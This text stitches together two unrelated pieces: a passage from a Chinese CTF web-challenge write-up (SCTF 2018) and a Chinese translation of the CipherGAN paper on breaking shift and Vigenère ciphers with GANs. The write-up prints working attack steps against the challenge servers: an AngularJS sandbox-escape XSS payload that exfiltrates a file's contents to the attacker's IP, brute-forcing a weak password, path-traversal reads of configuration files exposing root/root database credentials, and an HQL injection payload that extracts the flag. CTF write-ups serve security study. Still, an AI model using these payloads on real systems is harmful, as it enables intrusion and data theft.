<link href="css/starter-template.css" rel="stylesheet">
<style type="text/css">
body {
padding-top: 60px;
padding-bottom: 40px;
}
</style>
<script src="https://cdn.bootcss.com/angular.js/1.4.6/angular.min.js"></script>
<script src="https://apps.bdimg.com/libs/angular-route/1.3.13/angular-route.js"></script>
<script src="js/ie-emulation-modes-warning.js"></script>
</head>
<body >
<nav class="navbar navbar-inverse navbar-fixed-top">
<div class="container">
<div class="navbar-header">
<button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar" aria-expanded="false" aria-controls="navbar">
<span class="sr-only">Toggle navigation</span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
</button>
<a class="navbar-brand" href="/">SYC ADMIN</a>
</div>
<div id="navbar" class="collapse navbar-collapse">
<ul class="nav navbar-nav">
<li class="active"><a href="#">Home</a></li>
<li><a href="#">日志</a></li>
<li><a href="#">账单</a></li>
<li><a href="admin/file">文件</a></li>
<li><a href="admin/suggest">留言</a></li>
<li><a href="#">发布</a></li>
</ul>
</div>
</div>
</nav>
<div class="container">
<div class="jumbotron">
<h1>HELLO adminClound</h1>
<p>新版后台2.0!</p>
</div>
</div>
<!-- Bootstrap core JavaScript
================================================== -->
<!-- Placed at the end of the document so the pages load faster -->
<script src="https://cdn.bootcss.com/jquery/1.12.4/jquery.min.js"></script>
<script src="https://cdn.bootcss.com/bootstrap/3.3.7/js/bootstrap.min.js"></script>
<!-- IE10 viewport hack for Surface/desktop Windows 8 bug -->
<script src="js/ie10-viewport-bug-workaround.js"></script>
</body>
</html>
这里可以获得用户名adminClound
尝试访问/api/memos/adminClound得到如下信息
[{"memo":"文件密码：HGf^&39NsslUIf^23"},{"memo":"规定完成时间：6月30日"},{"memo":"项目完成删除备忘录功能"}]
修改js文件继续访问这两个路径(改url)
/admin/file
<div class="container">
<form method="post">
<label for="filePasswd" class="sr-only">输入文件密码</label>
<input type="text" id="filePasswd" class="form-control" placeholder="filepasswd" required="" autofocus="" name="filepasswd">
<button class="btn btn-lg btn-primary btn-block" type="submit">提交</button>
</form>
</div>
<!-- Bootstrap core JavaScript
================================================== -->
<!-- Placed at the end of the document so the pages load faster -->
<script src="https://cdn.bootcss.com/jquery/1.12.4/jquery.min.js"></script>
<script src="https://cdn.bootcss.com/bootstrap/3.3.7/js/bootstrap.min.js"></script>
<!-- IE10 viewport hack for Surface/desktop Windows 8 bug -->
<script src="js/ie10-viewport-bug-workaround.js"></script>
</body>
</html>
admin/suggest
<div class="container">
<h3>留言</h3>
<div ng-app>
<ol>
<li></li>
</ol>
</div>
</div>
<!-- Bootstrap core JavaScript
================================================== -->
<!-- Placed at the end of the document so the pages load faster -->
<script src="https://cdn.bootcss.com/jquery/1.12.4/jquery.min.js"></script>
<script src="https://cdn.bootcss.com/bootstrap/3.3.7/js/bootstrap.min.js"></script>
<!-- IE10 viewport hack for Surface/desktop Windows 8 bug -->
<script src="js/ie10-viewport-bug-workaround.js"></script>
</body>
</html>
接下来东西都有了，直接访问加密的那个文件/admin/file
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };eval(atob("$.post('/admin/file',{'filepasswd':'HGf^&39NsslUIf^23'},function(data){(new Image()).src="你的ip/?info="+escape(data);});"));//');}}
### Zhuanxv
你只是在扫描目标端口的时候发现了一个开放的web服务
扫描一波目录，可以扫到list，然后访问可以抓到怎么一个包
猜测可能是文件读取
同时在github上可以找到源码，有用的信息如下
初始用户名是:homamamama 不过密码改了,拿弱口令字典可以爆出来密码是6yhn7ujm
然后在访问list目录，然后什么都没有发生…….
然后可以看到这个是java写的应用，构造路径直接读取一下web.xml
直接在github上找框架
https://github.com/martin-wong/iCloud
然后直接构造路径读取文件
配置文件
HTTP/1.1 200
Content-Disposition: attachment;filename="bg.jpg"
Content-Type: image/jpeg
Date: Fri, 22 Jun 2018 03:51:44 GMT
Connection: close
Content-Length: 2243
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE struts PUBLIC
"-//Apache Software Foundation//DTD Struts Configuration 2.3//EN"
"http://struts.apache.org/dtds/struts-2.3.dtd">
<struts>
<constant name="strutsenableDynamicMethodInvocation" value="false"/>
<constant name="struts.mapper.alwaysSelectFullNamespace" value="true" />
<constant name="struts.action.extension" value=","/>
<package name="front" namespace="/" extends="struts-default">
<global-exception-mappings>
<exception-mapping exception="java.lang.Exception" result="error"/>
</global-exception-mappings>
<action name="zhuanxvlogin" class="com.cuitctf.action.UserLoginAction" method="execute">
<result name="error">/ctfpage/login.jsp</result>
<result name="success">/ctfpage/welcome.jsp</result>
</action>
<action name="loadimage" class="com.cuitctf.action.DownloadAction">
<result name="success" type="stream">
<param name="contentType">image/jpeg</param>
<param name="contentDisposition">attachment;filename="bg.jpg"</param>
<param name="inputName">downloadFile</param>
</result>
<result name="suffix_error">/ctfpage/welcome.jsp</result>
</action>
</package>
<package name="back" namespace="/" extends="struts-default">
<interceptors>
<interceptor name="oa" class="com.cuitctf.util.UserOAuth"/>
<interceptor-stack name="userAuth">
<interceptor-ref name="defaultStack" />
<interceptor-ref name="oa" />
</interceptor-stack>
</interceptors>
<action name="list" class="com.cuitctf.action.AdminAction" method="execute">
<interceptor-ref name="userAuth">
<param name="excludeMethods">
execute
</param>
</interceptor-ref>
<result name="login_error">/ctfpage/login.jsp</result>
<result name="list_error">/ctfpage/welcome.jsp</result>
<result name="success">/ctfpage/welcome.jsp</result>
</action>
</package>
</struts>
然后根据这个逐个的吧文件读取下来
最后可以发现在../../WEB-INF/classes/applicationContext.xml中
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="dataSource" class="org.springframework.jdbc.datasource.DriverManagerDataSource">
<property name="driverClassName">
<value>com.mysql.jdbc.Driver</value>
</property>
<property name="url">
<value>jdbc:mysql://localhost:3306/sctf</value>
</property>
<property name="username" value="root"/>
<property name="password" value="root" />
</bean>
<bean id="sessionFactory" class="org.springframework.orm.hibernate3.LocalSessionFactoryBean">
<property name="dataSource">
<ref bean="dataSource"/>
</property>
<property name="mappingLocations">
<value>user.hbm.xml</value>
</property>
<property name="hibernateProperties">
<props>
<prop key="hibernate.dialect">org.hibernate.dialect.MySQLDialect</prop>
<prop key="hibernate.show_sql">true</prop>
</props>
</property>
</bean>
<bean id="hibernateTemplate" class="org.springframework.orm.hibernate3.HibernateTemplate">
<property name="sessionFactory">
<ref bean="sessionFactory"/>
</property>
</bean>
<bean id="transactionManager" class="org.springframework.orm.hibernate3.HibernateTransactionManager">
<property name="sessionFactory">
<ref bean="sessionFactory"/>
</property>
</bean>
<bean id="service" class="org.springframework.transaction.interceptor.TransactionProxyFactoryBean" abstract="true">
<property name="transactionManager">
<ref bean="transactionManager"/>
</property>
<property name="transactionAttributes">
<props>
<prop key="add">PROPAGATION_REQUIRED</prop>
<prop key="find*">PROPAGATION_REQUIRED,readOnly</prop>
</props>
</property>
</bean>
<bean id="userDAO" class="com.cuitctf.dao.impl.UserDaoImpl">
<property name="hibernateTemplate">
<ref bean="hibernateTemplate"/>
</property>
</bean>
<bean id="userService" class="com.cuitctf.service.impl.UserServiceImpl">
<property name="userDao">
<ref bean="userDAO"/>
</property>
</bean>
</beans>
可以看到是用hibernate执行sql
而且flag在数据库中，就需要读取数据库
顺便读取一下../../WEB-INF/classes/user.hbm.xml
<?xml version="1.0"?>
<!DOCTYPE hibernate-mapping PUBLIC
"-//Hibernate/Hibernate Mapping DTD 3.0//EN"
"http://hibernate.sourceforge.net/hibernate-mapping-3.0.dtd">
<hibernate-mapping package="com.cuitctf.po">
<class name="User" table="hlj_members">
<id name="id" column="user_id">
<generator class="identity"/>
</id>
<property name="name"/>
<property name="password"/>
</class>
<class name="Flag" table="bc3fa8be0db46a3610db3ca0ec794c0b">
<id name="flag" column="welcometoourctf">
<generator class="identity"/>
</id>
<property name="flag"/>
</class>
</hibernate-mapping>
然后在将applicationContext.xml中相应的class反编译，查看过滤条件
这里只贴出关键代码
//UserLoginAction.class
public boolean userCheck(User user) {
List < User > userList = this.userService.loginCheck(user.getName(), user.getPassword());
if ((userList != null) && (userList.size() == 1)) {
return true;
}
addActionError("Username or password is Wrong, please check!");
return false;
}
//UserServiceImpl.class
public List <User> loginCheck(String name, String password) {
name = name.replaceAll(" ", "");
name = name.replaceAll("=", "");
Matcher username_matcher = Pattern.compile("^[0-9a-zA-Z]+$").matcher(name);
Matcher password_matcher = Pattern.compile("^[0-9a-zA-Z]+$").matcher(password);
if (password_matcher.find()) {
return this.userDao.loginCheck(name, password);
}
return null;
}
//UserDaoImpl.class
public List < User > loginCheck(String name, String password) {
return getHibernateTemplate().find("from User where name ='" + name + "' and password = '" + password + "'");
}
剩下的就是注入了，需要符合Hsql语法规则
最后的payload
user.name=1'or(from Flag)like'sctf{%25'or''like'&user.password=aaaa
### easiest web – phpmyadmin
直接看这个
<https://www.jianshu.com/p/f51b6e54d613>
其他的题我目前的能力还不足以达到，还需努力……
## 参考
<http://www.venenof.com/index.php/archives/551/>
<http://sec2hack.com/ctf/sctf2018-web-writeup.html>
在膜一波W&P和NU1L的师傅们
审核人：yiwang 编辑：少爷 | 社区文章 |
# 利用无监督对抗生成网络（GANs）的破译密码算法
##### 译文声明
本文是翻译文章，文章原作者 Aidan N. Gomez, Sicong Huang, Ivan Zhang, Bryan M. Li, Muhammad
Osama, Łukasz Kaiser等，文章来源：arxiv.org
原文地址：<https://arxiv.org/abs/1801.04883 >
译文仅供参考，具体内容表达以及含义原文为准。
> 本篇翻译文章参加双倍稿费活动，活动链接请点[此处](https://www.anquanke.com/post/id/98410)
>
> **译者注**
>
> 这是Aidan N. Gomez, Sicong Huang, Ivan Zhang, Bryan M. Li, Muhammad Osama,
> Łukasz Kaiser等人在ICLR
> 2018会议上的投稿，目前已经作为POSTER接收，主要介绍了利用GANs来破译移位密码（凯撒密码）和Vignere密码的技术，是目前比较少见的将GANs应用于离散型数据的例子。
>
> 本文主要是围绕着如何将GANs应用于离散型数据，前面部分涉及大量的GANs理论知识，翻译涉及到大量专业词汇，很多词汇目前都没有对应的中文翻译，考虑到文章的可读性和准确性，在一些词汇上直接使用英文。
## 摘要
这项工作详细地说明了“CipherGAN”——一个能够用于破译密码的框架。实验证明，CipherGAN能够高度准确地破译使用移位和Vigenere密码的语言数据，相比以前的方法，CipherGAN支持更多的词汇。在本文中，将介绍如何让CycleGAN与离散数据兼容，并以稳定的方式进行训练。最后，我们证明CipherGAN能够避免传统GANs应用于离散数据的误判问题。
## 1 、引言
早在古希腊人之前，人们就开始加密信息，同时，人们也沉迷于试图用暴力破解、频率分析、crib-dragging方法，甚至间谍活动等一系列方法来破译密码。在过去的一个世纪中，移位密码等简单密码的破译已经变得无关紧要，因为现代计算资源能够实现更安全的加密方案。由于密码破译需要攻击者对语言结构的深入理解，因此它仍然是一个有趣的问题。目前几乎所有的自动密码破译技术都必须依赖于“人”的存在，将自动化技术置于人类已有语言知识的基础上，以避免频率分析等简单算法所产生的错误。然而，在许多领域中，人工设计的特征常常被机器学习框架自动提取的特征所取代因此，要解决的问题如下：
神经网络是否可以在没有“人”参与的情况下自动地从文本中推导出隐藏的密码？
我们认为这种思考对于无监督翻译领域的影响将是深远的，从某种意义上说，每种语言都可以被看作是对另一种语言的加密。Copiale密码的破译便是将机器学习作为语言翻译来解码加密文本的一个很好的例子。在这种情况下，CycleGAN的架构是极具普适性的，在本文中我们证明了CipherGAN能够以极高的准确率破解密码，可以快速应用到由用户选择的加密算法生成的明文和密文组。
除了CipherGAN，我们还对以下技术进行研究：
* 我们从理论上描述和分析了阻碍GANs应用于离散数据的误判问题；
* 我们提出了一种通过在嵌入空间（embedding space）中进行计算以解决上述问题的方法，并展示了它实际中的工作。
### 1.1 移位密码和Vigenere密码
移位密码和Vigenere密码是众所周知的替代密码。人类使用替代密码的记录可以追溯到公元前58年，当时凯撒把一封信中的每个字母替换为字母后面三个字母。
如图1所示，“attackatdawn”可以被加密为“DWWDFNDWGDZQ”。这个消息可以快速被接收者解码，但对第三方来说则毫无意义。在此后的数百年中，这种移位密码保证了发送者和接收者的安全通信。第9世纪，polymath
Al-Kindi引入了频率分析的概念。他通过分析个别字母的频率，使破译密码成为可能。例如，英文中最常出现的字母是’e’（12.7％），’t’（9.1％）和’a’（8.2％）。而’q’，’x’和’z’的频率都小于1％。此外，攻击者还可以关注重复的字母，例如’ss’，’ee’和’oo’是英语中最常见的。语言上的这种特征为攻击者提供了一种有效的破解方法。
但是多表代换密码，如Vigenere密码，能够避免通过n-gram频率分析来确定密码表的映射。这类加密算法进一步使用多个独立密钥的移位密码来对消息进行加密，使得其在长度上分别匹配明文。通过增加密钥长度大大增加了可能的组合数量，从而防止了基本的频率分析。19世纪，Charles
Babbage发现可以通过计算密文中字母序列的重复和间隔确定密钥的长度。获得了密钥的长度，我们可以在对密码基数进行索引后应用频率分析。这种方法虽然可以破解Vigenere密码，但是不仅非常耗时，而且要求攻击者对语言本身具有的深入了解。
研究人员对自动化移位密码破解技术进行了大量的研究（Ramesh et al., 1993; Forsyth& Safavi-Naini, 1993;
Hasinoff, 2003; Knight et al., 2006; Verma et al., 2007; Raju et al.,
2010;Knight et al.,
2011），其中很多都获得了非常好的成果。但这些都是人们从针对特定密码和词汇表通过人工算法实现的。针对多表代换密码的自动破解工作在小规模词汇表中也取得了类似的成功。但把以前的工作与我们进行比较是一件困难的事情，因为他们主要关注推断密钥、推断有限数量的密文（确定唯一性距离）、分析完成小部分密码映射所需的唯一性距离等方面。
相比以往的工作，我们具备了无约束密文语料库的优点。但是，我们自己规定了以下前提：我们的模型不具备任何关于词汇元素频率的先验知识和关于密钥的信息。因此，我们的工作必须克服的困难问题是我们的词汇表非常庞大，过去所有的工作只处理了大约26个字符的词汇表，而我们的模型囊括了超过200个不同词汇元素的词级密码。因此，与以前的工作相比，我们的方法最大的特点是“不干涉”（hands-off），可以很容易地应用于不同形式的密码、不同的基础数据以及无监督的文本对齐任务。
### 1.2 GANs & Wasserstein GANs
生成对抗网络（GANs）是Goodfellow等人提出的一类神经网络模型，用于在真实数据分布下优化似然度。GANs在一定程度上平衡了传统方法的过拟合和欠拟合问题。现有的研究表明GANs在图像生成领域具有强大的优势，但是在对于离散数据而言，GANs的支持不够完备。
Goodfellow等人在2014年提出的GAN判别器：
其中F是生成器网络，D是判别器网络。这里的损失（loss）容易受到“mode
collapse”的影响，在这种情况下，将产生一个低多样性的生成分布。为了提高泛化能力，Wasserstein GAN（WGAN）使用了K-Lipschitz判别函数D : X → R和最小化地动距离（earth mover
distance）。其中Lipschitz条件的实现依赖于修改判别器权重使其落入预定范围。
Gulrajani等人改进了WGAN，使用Jacobian范数正则化来实现Lipschitz条件，而不是最初提出的通过修改权重的解决方案。这实现了更稳定的训练，避免了容量不足和梯度爆炸，提高了网络的性能。
其中X^是对真实数据分布X和生成数据分布Xg = {F(z)|z ∼ Z}边界的采样。
### 1.3 CYCLEGAN
CycleGAN是一个用于无监督学习两个数据分布之间的映射的生成对抗网络。这三个论文中（Zhu等人，2017; Yi等人，2017年;
Liu等人，2017）分享了我们下面描述的许多核心特征，为了简单起见，我们将CycleGAN作为我们工作的基础。它通过使用两个映射生成器和两个鉴别器来作用于分布X和Y。
CycleGAN优化了标准GAN损失函数LGAN：
同时也考虑了损失重建，Lcyc：
综合公式（4）、（5），利用超参数λ平衡损失函数：
这也就产生了进一步的训练目标：
CycleGAN利用Lcyc，保留了输入输出映射的重构来避免mode
collapse。它在两个视觉上相似的不成对图像转换中展现出极好的结果。CipherGAN是这种无监督学习框架成功应用于离散数据（如语言）的第一个例子。
## 2 离散的GANs
目前，将GAN应用于离散数据生成仍然是一个值得关注的开放性研究问题。利用GAN训练离散数据生成器主要的困难在于在计算图（computation
graph）中缺少通过离散节点的梯度。判别器可能会使用一个与重离散化（re-discretized）数据正确性无关的优化判别准则，生成离散输出的替代方法，比如在离散元素上生成分类分布（categorical
distribution）的生成器，则容易产生误判问题。在我们关于离散元素的连续分布的例子中，生成的样本都位于k维单形（simplex）中，维数k等于分布中元素的个数。在这种情况下，来自真实数据中的样本总是位于
单形的顶点vi上，而任何次优的生成器将在单形的内部产生样本。在这个例子中，出现误判的判别器可以将评估样本是否在单形顶点上作为最优的鉴别准则，而这完全不受生成器新生成离散样本正确性的影响。
近年来，研究人员已经提出了许多用离散输出来训练生成器的方法：SeqGAN（Yu等人，2017）使用增强梯度估计来训练生成器；Boundary-seeking
GANs（Hjelm等人，2017）和maximun-likelihood augmented
GANs（Che等人，2017）提出了一种类似于REINFORCE（Williams，1992）估计的低偏差（bias）和方差的梯度近似。Gumbel-softmax GANs（Kusner＆Hernandez’-Lobato，2016）将单形中的离散变量替换连续松散变量（continuous
relaxation variable）；WGANs（Arjovsky等人，2017）通过保证判别器对其输入变化率的约束来缓解误判问题。
我们的工作同时利用了Wasserstein GAN和Gumbel-softmax。我们在实现CycleGAN的过程中多次注意到该架构对初始化阶段敏感，需要多次重复尝试才能收敛到令人满意的映射（Bansal＆Rathore，2017;Sari，2017）。将WGAN
Jacobian范数正则化添加到判别器的损失函数之后，我们成功避免了这种的不稳定性。另外，我们发现如果把鉴别器放在嵌入空间（embedding
space）中运行，而不是直接在生成器产生的softmax向量上运行，性能将有所提高。
我们的假设可以由下面的命题1来证明的，即由于在整个训练过程中进行了小噪声更新，所以嵌入向量（embedding
vector）可以作为离散随机变量的continuous relaxation；命题1断言，如果用连续随机变量代替离散随机变量，判别器将不能任意逼近δ-函数分布。图2展示了一个简单的判别器，它将单一顶点标识为真实数据；很明显，缺乏正则化导致判别器坍塌到单形顶点，在每一处的梯度都接近零；而Wasserstein
GANs利用Jacobian范数正则化产生的空间中覆盖了真实数据到生成数据低变化率（在单形的其余区域梯度仍然接近零）；最后用连续样本来替换离散随机变量实现了更加平缓的过渡，提供了更强的梯度信号进行学习。
在1.3所述的循环损失（auxiliary cycle
loss）是CycleGAN所特有的。这产生的额外影响是生成样本往往会远离鉴别器的最小值，以便更好地满足重建的映射。例如，判别器会偏好非双射的密码映射；在这种情况下，模型将会直接从循环损耗（cycle
loss）中接收到一个强烈的信号，而不是来自判别器的最小值。由于WGAN的曲率正则化（见公式
3）从未在某个区域进行，这个区域的曲率就会趋近于零（如图2所示），而模型就会逆着从鉴别器接收到的梯度移动。
这里的“曲率”是指判别器输出相对于其输入的曲率，决定了生成器接收到的训练信号的强度。因此，低曲率意味着生成器很难获得用于提升的信息。这实现了在全局范围内获得强曲率的好处，而不是导致生成器样本和真实数据之间线性对立。Kodali等人提出将生成样本在各个方向正则化，这可能能够弥补我们面临的梯度消失问题；我们的实验证明，松弛的抽样技术是有效的。另外，Luc等人提出了一种类似于松弛抽样的方法，他们用真值（ground-truth）离散标注替代剩余的错误标注。
现在让我们来介绍命题1正式提出所需的定义：
下面的命题（在附录中证明）是该技术的理论基础：
## 3 、方法
### 3.1 CipherGAN
目前，将GANs应用于文本数据尚未产生真正令人信服的结果（Kawthekar等人）。先前使用GANs进行离散序列生成的尝试通常利用在token空间上输出概率分布的生成器（Gulrajani等，2017;
Yu等，2017;
Hjelm等，2017）。这导致判别器从数据分布中接收一系列离散的随机变量，并从生成器中接收一系列连续的随机变量；使得判别的任务变得微不足道，而且不会真正影响底层的数据分配。为了避免这种情况，我们通过允许生成器的输出分布来定义相应嵌入的凸组合（convex
combination），使得判别器在嵌入空间中计算，由此产生了以下损失（loss）：
我们在嵌入的WEmb和x中的one-hot向量之间以及由生成器F和G生成的embedding和softmax向量之间进行内积。前者相当于嵌入矢量表上的查找操作，而后者是词汇表中所有向量之间的凸组合。embedding
WEmb在每个步骤被训练以使Lcyc最小化并使LGAN最大化，让嵌入易于被映射并容易区分。正如第2节所讨论的那样，上述损失函数的训练是不稳定的，每四个实验中就有三个未能产生正确的结果。这是CycleGAN在进行horse-zebra实验出现的一个问题，并且多次重现（Bansal＆Rathore，2017；Sari，2017）。通过训练判别器损失、改进WGAN的Lipschitz条件，稳定性得到了显著提升，结果如下（DualGAN（Yi等，2017）通过修改权重来强制达到Lipschitz条件）：
作为命题1的结论，对非平稳嵌入（non-stationary embeddings）进行训练的判别器将不能任意逼近δ-函数分布；这意味着对于X内的元素而言，存在某种“安全区”（safe-zones），在“安全区”内生成器可以有效“欺骗”判别器，防止发生误判。
在实验中，我们同时训练了嵌入向量作为模型的参数。嵌入向量的梯度更新在训练迭代之间引入噪声；我们观察到在初始训练步骤之后，嵌入向量倾向于保持在有界区域。我们发现，利用嵌入向量替换数据与执行命题1中描述的随机抽样具有相似的效果。
## 4 实验
### 4.1 数据
我们在实验中使用来自Brown
English文本数据集的明文自然语言样本。我们生成2倍batch_size大小的明文样本，前半部分作为CycleGAN的X分布，后半部分通过选择的密码作为Y分布。
对于我们的自然语言明文数据，我们使用Brown English语料库，该语料库由57340个句子中的一百多万个词语组成。我们实验了词语级（word-level）“Brown-W”和字母级（character-level）“Brown-C”的词汇表。对于词语级的词汇表，我们通过选取频率最高的k个词语来控制表的大小，并引入了一个“Unknow”的记号来表示词汇表以外的词语。我们展示了使用word-level词汇表扩展到大型词汇表；而更现代的加密技术依赖于具有大量元素的S盒（substitution-boxes）。
### 4.2 训练
我们用Mao等人最初提出的平方差损失代替了对数似然损失。进行替换的原始动机是提高了训练的稳定性并避免了梯度消失问题。在这项工作中，我们发现了对训练稳定性的重要影响。
因此，我们总的损失函数是：
我们调整了生成器和判别器的卷积结构，用一维变量替换所有的二维卷积，并将生成器中的过滤器减少到1，进行逐点卷积。卷积神经网络最近被证明能够有效进行语言相关的工作，并且能够显著加速训练。生成器和判别器在嵌入空间中接收一系列向量；生成器在词汇表上形成softmax分布，而判别器输出一个标量。
在所有的实验中，我们都使用“1”作为循环损失的归一化系数。为了兼容WGAN，我们用batch归一化替换了layer归一化。我们训练使用Adam优化器
(Kingma & Ba, 2014) ，其中batch size为64，learning rate为2e-4，β1=0，β2=0.9。learning
rate在2500步内以指数形式升至2e-4，之后保持不变。实验中使用了256维嵌入向量，并按照Gulrajani等人的建议，将WGAN
Lipschitz调节参数设定为10。
对于Vigenere密码，位置信息（positional information）决定了网络能否执行映射。我们尝试添加了Vaswani等人描述的timing
signal。如图3所示，我们发现相对于没有明确的timing signal，性能有所提高（图3中的“Transformer
Timing”）；将学习位置嵌入矢量拼接到序列对应位置上能够进一步改善性能（图3中的“Concat
Timing”），但这意味着该架构不能推广到比训练集更长的序列。对较长序列进行推广将是我们未来研究方向。
### 4.3 讨论
表2显示，CipherGAN在移位密码上具有接近完美的准确性，在3个词汇大小上都能快速解码。CipherGAN在Vigenere密码上也非常出色，在字母级取得了极好的结果，在词汇量为200的词语级上也取得了很好的结果。一个包含标点符号和特殊字符的字母级词汇表的大小为58，比以前要多一倍。与原始的CycleGAN相比，我们发现CipherGAN在训练中非常一致，并且对权值的随机初始化显然不敏感；我们把归因于Jacobian范数正则化项。
对于这两种密码，首先要确定的映射是那些最频繁出现的词汇，这表明程序确实在通过某种形式的频率分析来区分两个文本中的异常频率。另一个有趣的发现是程序犯的错误：程序经常会混淆标点符号，也许表明这些词汇元素的比较相似，导致在许多训练中观察到多次的混淆。
## 5 结论
CipherGAN显示了生成对抗网络应用于离散数据解决一些对细微差别极其敏感的困难任务。我们的工作有助于促进CycleGAN架构对于多类数据的无监督对齐任务的承诺。CipherGAN提出了一种训练中较为稳定的算法，改进了CycleGAN架构。实验证实，使用离散变量的continuous
relaxation，不仅促进通过离散节点的梯度流动，而且防止经常出现到的误判问题。CipherGAN在结构上是非常通用的，可以直接应用于各种无监督的文本对齐。
## 参考文献
Martin Arjovsky, Soumith Chintala, and Leon Bottou. Wasserstein gan. ´ arXiv
preprint arXiv:1701.07875, 2017.
Jimmy Lei Ba, Jamie Ryan Kiros, and Geoffrey E Hinton. Layer normalization.
arXiv preprint arXiv:1607.06450, 2016.
Hardik Bansal and Archit Rathore. Understanding and implementing cyclegan in
tensorflow. <https://hardikbansal.github.io/CycleGANBlog/>, 2017.
John M Carroll and Steve Martin. The automated cryptanalysis of substitution
ciphers. Cryptologia, 10(4):193–209, 1986.
Tong Che, Yanran Li, Ruixiang Zhang, R Devon Hjelm, Wenjie Li, Yangqiu Song,
and Yoshua Bengio. Maximum-likelihood augmented discrete generative
adversarial networks. arXiv preprint arXiv:1702.07983, 2017.
William Fedus, Mihaela Rosca, Balaji Lakshminarayanan, Andrew M. Dai, Shakir
Mohamed, and Ian Goodfellow. Many paths to equilibrium: Gans do not need to
decrease a divergence at every step, 2017.
William S Forsyth and Reihaneh Safavi-Naini. Automated cryptanalysis of
substitution ciphers. Cryptologia, 17(4):407–418, 1993.
W Nelson Francis and Henry Kucera. Brown corpus manual. Brown University, 2,
1979.
Ian Goodfellow, Jean Pouget-Abadie, Mehdi Mirza, Bing Xu, David Warde-Farley,
Sherjil Ozair, Aaron Courville, and Yoshua Bengio. Generative adversarial
nets. In Advances in neural information processing systems, pp. 2672–2680,
2014.
Ian Goodfellow, Yoshua Bengio, and Aaron Courville. Deep Learning. MIT Press,
2016. http: //www.deeplearningbook.org.
Ishaan Gulrajani, Faruk Ahmed, Martin Arjovsky, Vincent Dumoulin, and Aaron
Courville. Improved training of wasserstein gans. arXiv preprint
arXiv:1704.00028, 2017.
Sam Hasinoff. Solving substitution ciphers. Department of Computer Science,
University of Toronto, Tech. Rep, 2003.
R Devon Hjelm, Athul Paul Jacob, Tong Che, Kyunghyun Cho, and Yoshua Bengio.
Boundaryseeking generative adversarial networks. arXiv preprint
arXiv:1702.08431, 2017.
Sergey Ioffe and Christian Szegedy. Batch normalization: Accelerating deep
network training by reducing internal covariate shift. In International
Conference on Machine Learning, pp. 448–456, 2015.
Eric Jang, Shixiang Gu, and Ben Poole. Categorical reparameterization with
gumbel-softmax. arXiv preprint arXiv:1611.01144, 2016. 9
Nal Kalchbrenner, Lasse Espeholt, Karen Simonyan, Aaron van den Oord, Alex
Graves, and Koray Kavukcuoglu. Neural machine translation in linear time.
arXiv preprint arXiv:1610.10099, 2016.
Prasad Kawthekar, Raunaq Rewari, and Suvrat Bhooshan. Evaluating generative
models for text generation.
Diederik P. Kingma and Jimmy Ba. Adam: A method for stochastic optimization.
CoRR, abs/1412.6980, 2014. URL <http://arxiv.org/abs/1412.6980>.
Kevin Knight, Anish Nair, Nishit Rathod, and Kenji Yamada. Unsupervised
analysis for decipherment problems. In Proceedings of the COLING/ACL on Main
conference poster sessions, pp. 499–506. Association for Computational
Linguistics, 2006.
Kevin Knight, Beata Megyesi, and Christiane Schaefer. The copiale cipher. In ´
Proceedings of the 4th Workshop on Building and Using Comparable Corpora:
Comparable Corpora and the Web, pp. 2–9. Association for Computational
Linguistics, 2011.
Naveen Kodali, Jacob Abernethy, James Hays, and Zsolt Kira. How to train your
dragan. arXiv preprint arXiv:1705.07215, 2017.
Matt J Kusner and Jose Miguel Hern ´ andez-Lobato. Gans for sequences of
discrete elements with ´ the gumbel-softmax distribution. arXiv preprint
arXiv:1611.04051, 2016.
Ming-Yu Liu, Thomas Breuel, and Jan Kautz. Unsupervised image-to-image
translation networks. arXiv preprint arXiv:1703.00848, 2017.
Pauline Luc, Camille Couprie, Soumith Chintala, and Jakob Verbeek. Semantic
segmentation using adversarial networks. arXiv preprint arXiv:1611.08408,
2016.
Chris J Maddison, Andriy Mnih, and Yee Whye Teh. The concrete distribution: A
continuous relaxation of discrete random variables. arXiv preprint
arXiv:1611.00712, 2016.
Xudong Mao, Qing Li, Haoran Xie, Raymond YK Lau, Zhen Wang, and Stephen Paul
Smolley. Least squares generative adversarial networks. arXiv preprint
ArXiv:1611.04076, 2016.
SS Omran, AS Al-Khalid, and DM Al-Saady. A cryptanalytic attack on vigenere
cipher using ` genetic algorithm. In Open Systems (ICOS), 2011 IEEE Conference
on, pp. 59–64. IEEE, 2011.
Bhadri Msvs Raju et al. Decipherment of substitution cipher using enhanced
probability distribution. International Journal of Computer Applications,
5(8):34–40, 2010.
RS Ramesh, G Athithan, and K Thiruvengadam. An automated approach to solve
simple substitution ciphers. Cryptologia, 17(2):202–218, 1993.
Eyyb Sari. tensorflow-cyclegan. <https://github.com/Eyyub/tensorflow-cyclegan>, 2017.
Simon Singh. The Code Book: The Science of Secrecy from Ancient Egypt to
Quantum Cryptography. Anchor, 2000.
Ragheb Toemeh and Subbanagounder Arumugam. Applying genetic algorithms for
searching keyspace of polyalphabetic substitution ciphers. International Arab
Journal of Information Technology (IAJIT), 5(1), 2008.
Ashish Vaswani, Noam Shazeer, Niki Parmar, Jakob Uszkoreit, Llion Jones, Aidan
N Gomez, Lukasz Kaiser, and Illia Polosukhin. Attention is all you need. arXiv
preprint arXiv:1706.03762, 2017.
AK Verma, Mayank Dave, and RC Joshi. Genetic algorithm and tabu search attack
on the monoalphabetic substitution cipher i adhoc networks. In Journal of
Computer science. Citeseer, 2007.
Ronald J Williams. Simple statistical gradient-following algorithms for
connectionist reinforcement learning. Machine learning, 8(3-4):229–256, 1992.
10 Zili Yi, Hao Zhang, Ping Tan Gong, et al. Dualgan: Unsupervised dual
learning for image-to-image translation. arXiv preprint arXiv:1704.02510,
2017.
Lantao Yu, Weinan Zhang, Jun Wang, and Yong Yu. Seqgan: Sequence generative
adversarial nets with policy gradient. In AAAI, pp. 2852–2858, 2017.
Xiang Zhang and Yann LeCun. Text understanding from scratch. arXiv preprint
arXiv:1502.01710, 2015.
Jun-Yan Zhu, Taesung Park, Phillip Isola, and Alexei A Efros. Unpaired image-to-image translation using cycle-consistent adversarial networks. arXiv
preprint arXiv:1703.10593, 2017.
## 附录
